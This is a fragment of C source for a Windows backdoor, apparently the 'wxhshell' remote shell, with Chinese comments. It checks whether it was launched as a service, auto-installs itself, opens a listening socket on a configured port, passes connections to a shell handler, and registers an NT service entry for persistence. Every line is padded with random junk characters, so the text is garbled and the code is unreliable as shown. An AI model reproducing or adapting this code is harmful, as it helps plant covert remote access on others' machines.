DWORD AffinityMask; )j\9IdkU;y
DWORD BasePriority; u?7^+z
ULONG UniqueProcessId; 5hj
_YqQ7
ULONG InheritedFromUniqueProcessId; F_.1^XM
} PROCESS_BASIC_INFORMATION; tV"Jh>Z
twP%+/g]<
PROCNTQSIP NtQueryInformationProcess; FFq8LM8
:`B70D8ku
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *4OB
88$
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m(KBg'kQ
dJ.up*aR
HANDLE hProcess; Bg.
PROCESS_BASIC_INFORMATION pbi; >qS2ha
`R
m<1
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3Pgld*i7
if(NULL == hInst ) return 0; C Ef*:kr
}uiD8b{I
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vlC$0P
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~?zu5,vb
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); utU;M*
^H`4BWc
if (!NtQueryInformationProcess) return 0; $EG9V++b3
UK5u"@T
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
4 z^7T
if(!hProcess) return 0; BG_6$9y
hdDL92JVg
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QB"+B]rV
p]rV\,Yss
CloseHandle(hProcess); s1bb2R
m+QZ|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !>\g[C
if(hProcess==NULL) return 0; wGgeK,*_
I#/"6%e
HMODULE hMod; {]]#q0|
char procName[255]; ($Q|9>5,
unsigned long cbNeeded; R>hL.+l.
-ND1+`yD
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w ufQyT`
v;#0h7qd
CloseHandle(hProcess); rN'8,CV
J"K(nKXO_?
if(strstr(procName,"services")) return 1; // 以服务启动 y*!8[wASHq
yb,$UT"]
return 0; // 注册表启动 <sSH^J4QqX
} ]|u7P{Z"R
a:;7'w'
// 主模块 +No` 89Y
int StartWxhshell(LPSTR lpCmdLine) G8'
{ sFHqLG{/
SOCKET wsl; ihekON":
BOOL val=TRUE; = ?BhtW
int port=0; xVRxKM5 {
struct sockaddr_in door; >M0^R}v
(M<l}pl)
if(wscfg.ws_autoins) Install(); z]D/Qr
MI-S}Qoe
port=atoi(lpCmdLine); <$ qT(3w<y
'}:(y$9.`
if(port<=0) port=wscfg.ws_port; ia,5=SKJ
'6\ZgOO9
WSADATA data; wd3OuDrU
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CR;E*I${
""Oir!4
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !tb!%8{~
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @|s$:;(=
door.sin_family = AF_INET; 9|Ylv:sR
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z!*6;[]SfG
door.sin_port = htons(port); %V#MUi1
gk;hpO
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s3 fQGbU
closesocket(wsl); 7 U-}Y
return 1; A~X\ dcn
} *!E~4z=
5>UQ 3hWo
if(listen(wsl,2) == INVALID_SOCKET) {
lnK
closesocket(wsl); w#ZzmO
return 1; My Ky*wD
} apt$e$g
Wxhshell(wsl); u,{R,hTDS
WSACleanup(); x-W~&`UU
s0:M'wA
return 0; Ep:hObWG)
:{VXDT"
} !%$,S=_F
W*DKpJy
// 以NT服务方式启动 x+ER 3wDD@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vw.)T/B_D
{ [9V}>kS)
DWORD status = 0; 9%53_nx?
DWORD specificError = 0xfffffff; EUVD)+it
+@yU `
serviceStatus.dwServiceType = SERVICE_WIN32; :RxMZwa=
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Zu~w:uNmU
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ef_H*e
serviceStatus.dwWin32ExitCode = 0; q'4P/2)va
serviceStatus.dwServiceSpecificExitCode = 0; -~4r6ZcA
serviceStatus.dwCheckPoint = 0; <&g